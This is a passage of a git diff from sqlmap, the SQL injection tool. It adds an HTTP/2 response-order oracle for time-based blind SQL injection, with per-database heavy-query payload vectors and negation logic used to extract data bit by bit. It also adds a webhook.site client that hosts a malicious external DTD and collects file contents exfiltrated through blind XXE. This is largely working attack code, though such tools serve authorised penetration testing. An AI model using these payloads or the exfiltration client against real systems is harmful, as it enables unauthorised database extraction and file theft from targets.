self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self.savedVector = None + + def _conn(self): + conn = getattr(self._local, "conn", None) + if conn is None or not conn.usable: + conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + self._conns.append(conn) + return conn + + def readBitFromSpecs(self, condSpec, negSpec=None): + """Read the bit from the assembled condition request and, when available, its negation. With a + negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it + stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The + asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not + be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + (url, method, headers, post) tuples from getPage(buildOnly=True).""" + reqCond = _specToReq(condSpec, self.host) + if negSpec is not None: + return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) + + def close(self): + with self._lock: + for conn in self._conns: + try: + conn.close() + except Exception: + pass + self._conns = [] + + +def engage(host, port, vector, proxy=None, timeout=30): + """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread + TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up + automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). + The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + from lib.core.data import kb + + refReq = _forgeRequest("1=1", host, vector) + kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) + return kb.timeless + + +def disengage(): + """Tear down the timeless oracle and close all per-thread connections.""" + from lib.core.data import kb + + oracle = kb.get("timeless") + if oracle is not None: + if oracle.savedTechnique is not None: + try: + from lib.core.common import getTechniqueData + getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector + except Exception: + pass + oracle.close() + kb.timeless = None + + +def hintTimeless(): + """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user + did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. + Only fires when time-based is the channel that will actually be used (no faster in-band option) so the + hint is never noise. Purely advisory, never raises, at most one message per run.""" + from lib.core.data import conf, kb + from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage + from lib.core.enums import PAYLOAD + + try: + if conf.get("timeless") or kb.get("timelessHinted"): + return + kb.timelessHinted = True + + # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) + if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + return + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): + return + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + return + + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' + conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + conn.close() + singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " + "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") + except Exception: + pass + + +def autoEngage(): + """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by + action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). + Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a + light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable + (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" + from lib.core.data import conf, kb, logger + from lib.core.common import Backend + + with _engageLock: + if kb.get("timeless") is not None: + return True + return _doAutoEngage(conf, kb, logger, Backend) + + +def _doAutoEngage(conf, kb, logger, Backend): + try: + if not conf.get("timeless"): + return False + + # Never during detection - that phase confirms the vuln (and runs the false-positive check) by + # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout + # detection and False once extraction begins. + if kb.get("testMode"): + return False + + # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose + # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. + from lib.core.enums import PAYLOAD + from lib.core.settings import INFERENCE_MARKER + timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None + if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): + return False + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") + return False + + host, port = parts.hostname, parts.port or 443 + dbms = Backend.getIdentifiedDbms() + if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: + logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) + return False + + # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order + # reliability and tune the work size - that is the pause the user sees before engagement. Announce + # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". + import time as _time + from lib.core.common import dataToStdout + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) + probe = connect(host, port, None, conf.timeout or 30) + # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand + # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). + loadFactor = max(1, conf.threads or 1) + try: + vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + finally: + probe.close() + dataToStdout(" (done)\n") + + if not vector: + logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) + return False + + oracle = engage(host, port, vector, timeout=conf.timeout or 30) + # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold + # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target + # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) + oracle.votes = 5 if confidence >= 1.0 else 9 + + # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned + # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request + # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on + # disengage(). + oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME + oracle.savedVector = timeData.vector + timeData.vector = vector + + logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) + return True + except Exception as ex: + from lib.core.common import getSafeExString + logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) + return False + + +# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same +# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. +_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", + "transfer-encoding", "upgrade", "content-length")) + + +def _specToReq(spec, fallbackAuthority): + """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into + the request dict exchange_pair expects.""" + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + + url, method, headers, post = spec + parts = urlsplit(url) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + reqHeaders = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in _FORBIDDEN_HEADERS: + reqHeaders[key] = headers[key] + return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), + "headers": reqHeaders, "body": post} + + +def getHeavyVector(dbms=None): + """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), + reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN + ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no + SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" + from lib.core.data import conf + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + if not dbms: + return None + + andVector = orVector = None + for test in (conf.tests or []): + title = (test.get("title") or "") + if "heavy query" not in title.lower(): + continue + testDbms = ((test.get("details") or {}).get("dbms")) or "" + testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + # tolerate combined labels like "Microsoft SQL Server/Sybase" + if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): + continue + vector = (test.get("vector") or "").strip() + # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. + if vector.upper().startswith("AND "): + andVector = andVector or vector + elif vector.upper().startswith("OR "): + orVector = orVector or vector + return andVector or orVector + + +# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for +# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - +# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's +# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a +# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That +# self-tunes to the lightest payload that works - fast, and never allocates a huge blob. +# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of +# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork +# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. +# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan +# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. +# +# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS +# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), +# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. +# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never +# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. +# +# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so +# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN +# () ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. +# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on +# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when +# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung +# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only +# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of +# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. +# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a +# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS +# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). +_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) +_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) + +LIGHT_HEAVY = { + DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series + DBMS.MYSQL: _LH_MYSQL, + DBMS.MSSQL: _LH_MSSQL, + DBMS.SYBASE: _LH_MSSQL, + DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", + # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) + DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", + # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash + DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join + DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> + # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. +} + +# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / +# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time +# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same +# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the +# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the +# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so +# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS +# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means +# re-extract. +LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) +MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter +# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute +# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under +# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. +MIN_SEPARATION_FRAC = 0.5 + +# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit +# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is +# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a +# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable +# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the +# response order was a coin flip -> corruption). With the count itself computed from the bit +# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine +# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the +# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated +# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). +_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) + + +# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the +# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single +# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads +# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. +INFERENCE_BEGIN = "/*tlb*/" +INFERENCE_END = "/*tle*/" + + +def lightHeavyVector(dbms, cost): + """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no + primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the + mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). + + Two gating shapes, both flowing through the exact same payload machinery: + - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound + (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an + optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. + - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN ELSE [RANDNUM])' branch, used + where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); + these engines were validated not to hoist. + Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still + manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" + primitive = LIGHT_HEAVY.get(dbms) + if not primitive: + return None + if dbms in _GATED_COST: + gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) + heavy = primitive.replace("[COST]", gate) + return "AND [RANDNUM]<%s" % heavy + heavy = primitive.replace("[COST]", str(int(cost))) + return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) + + +def negatePayload(value): + """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if + no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated + request (the request whose heavy branch must run iff the condition does NOT hold). + + The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - + NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison + (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor + its negation forces the heavy branch - both requests stay cheap and the response order is left to + secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom + trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the + NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every + vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable + across every DBMS (unlike `IS NOT TRUE`).""" + import re + + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + if not pattern.search(value or ""): + return None + return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) + + +def _pairMs(conn, reqA, reqB, samples=5, timeout=30): + """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy + branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that + decides which cost to engage at (see tuneHeavy).""" + import time as _t + + ts = [] + for _ in range(samples): + s = _t.time() + _pairOrder(conn, reqA, reqB, timeout) + ts.append((_t.time() - s) * 1000.0) + return sorted(ts)[samples // 2] + + +def _calibrationConditions(dbms): + """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real + extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an + UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 + for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the + uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a + CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating + with the constant sees a clean heavy delta the REAL extraction never has and engages straight into + corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target + measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan + safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no + inference/banner template (calibration still gates, just without the hoist check).""" + from lib.core.data import queries + + try: + entry = queries[dbms] + template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' + banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' + # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) + return (template % (banner, 1, 1), template % (banner, 1, 255)) + except Exception: + return ("1=1", "1=0") + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): + """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy + that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, + and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if + none qualifies. + + Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) + and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a + generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits + under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a + # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with + # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). + trueCond, falseCond = _calibrationConditions(dbms) + best = 0.0 + for cost in LIGHT_HEAVY_COSTS: + vector = lightHeavyVector(dbms, cost) + if not vector: + return (None, None, 0.0) + reqSlow = _forgeRequest(trueCond, conn.host, vector) + reqFast = _forgeRequest(falseCond, conn.host, vector) + # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair + # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable + # (the reliability gate that picks which cost to engage at). + try: + heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) + cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) + except Exception: + heavyPair = cheapPair = 0.0 + separation = heavyPair - cheapPair + # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) + # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a + # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is + # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of + # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the + # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> + # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). + # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each + # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration + # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the + # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. + if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: + if progress is not None: + progress() + continue # margin too thin to survive load -> escalate cost + usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + best = max(best, confidence) + if usable: + return (vector, cost, confidence) + return (None, None, best) + + +def _forgeRequest(inferenceExpr, authority, vector=None): + """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the + INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it + (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) + are filled by agent.payload just like a normal request.""" + from lib.core.agent import agent + from lib.core.common import getTechniqueData + from lib.core.settings import INFERENCE_MARKER + from lib.request.connect import Connect + + vector = vector if vector is not None else getTechniqueData().vector + forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) + spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) + return _specToReq(spec, authority) + + +def readBitLive(conn, condition, vector=None, votes=1, timeout=30): + """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison + bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the + negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, + so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" + reqCond = _forgeRequest(condition, conn.host, vector) + reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) + + +def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): + """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy + reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 + and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS + errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially + always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over + a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a + phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still + clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. + Returns True iff the condition holds.""" + condLast = 0 + for i in range(votes): + if i % 2 == 0: + order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 + else: + order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 + if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote + condLast += 1 + return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) + + +def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): + """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); + below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + reqSlow = _forgeRequest("1=1", conn.host, vector) + reqFast = _forgeRequest("1=0", conn.host, vector) + return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + + +if __name__ == "__main__": + # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad + # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. + import sys + + host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 + cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 + + def req(bit): + return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} + + conn = connect(host, port, None, 30) + usable, conf = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + if usable: + import itertools + # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy + # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one + # runs heavy, so a single pair resolves the bit both ways. + bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) + ok = 0 + for b in bits: + got = readBit(conn, req(b), req(1 - b), votes=1) + ok += int(bool(got) == bool(b)) + print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + conn.close() diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py new file mode 100644 index 00000000000..dac6edf6b70 --- /dev/null +++ b/lib/request/webhooksite.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json + +from lib.core.data import conf +from lib.core.data import logger +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_EXFIL_ENDPOINT + +# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom +# response (our malicious external DTD) AND log the request the target then makes +# (carrying the file content). interactsh cannot host arbitrary content, hence the +# separate backend. HTTP-only, free tier, no account required for basic tokens. + + +class WebhookSite(object): + """Thin webhook.site client: mints tokens (optionally serving fixed content) + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" + + def __init__(self): + # Exfil host is the public content-serving endpoint (its token API is + # service-specific, so --oob-server, which selects the interactsh *detection* + # server, deliberately does not repoint it). + self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/') + + def _api(self, path, post=None): + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) + return None + + def newToken(self, content=None): + """Create a token. When `content` is given the token serves it verbatim + (used to host the external DTD). Returns the token UUID or None.""" + body = {"default_status": 200} + if content is not None: + body["default_content"] = content + body["default_content_type"] = "application/xml" + page = self._api("/token", post=json.dumps(body)) + if page: + try: + return json.loads(page).get("uuid") + except ValueError: + pass + return None + + def hostUrl(self, token): + """Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly + cannot fetch https external entities.""" + host = self.endpoint.split("://", 1)[-1] + return "http://%s/%s" % (host, token) + + def captured(self, token): + """Return the list of request records captured on `token` (newest first).""" + page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token) + if page: + try: + return json.loads(page).get("data") or [] + except ValueError: + pass + return [] diff --git a/lib/request/websocket.py b/lib/request/websocket.py new file mode 100644 index 00000000000..1d8f56aee4f --- /dev/null +++ 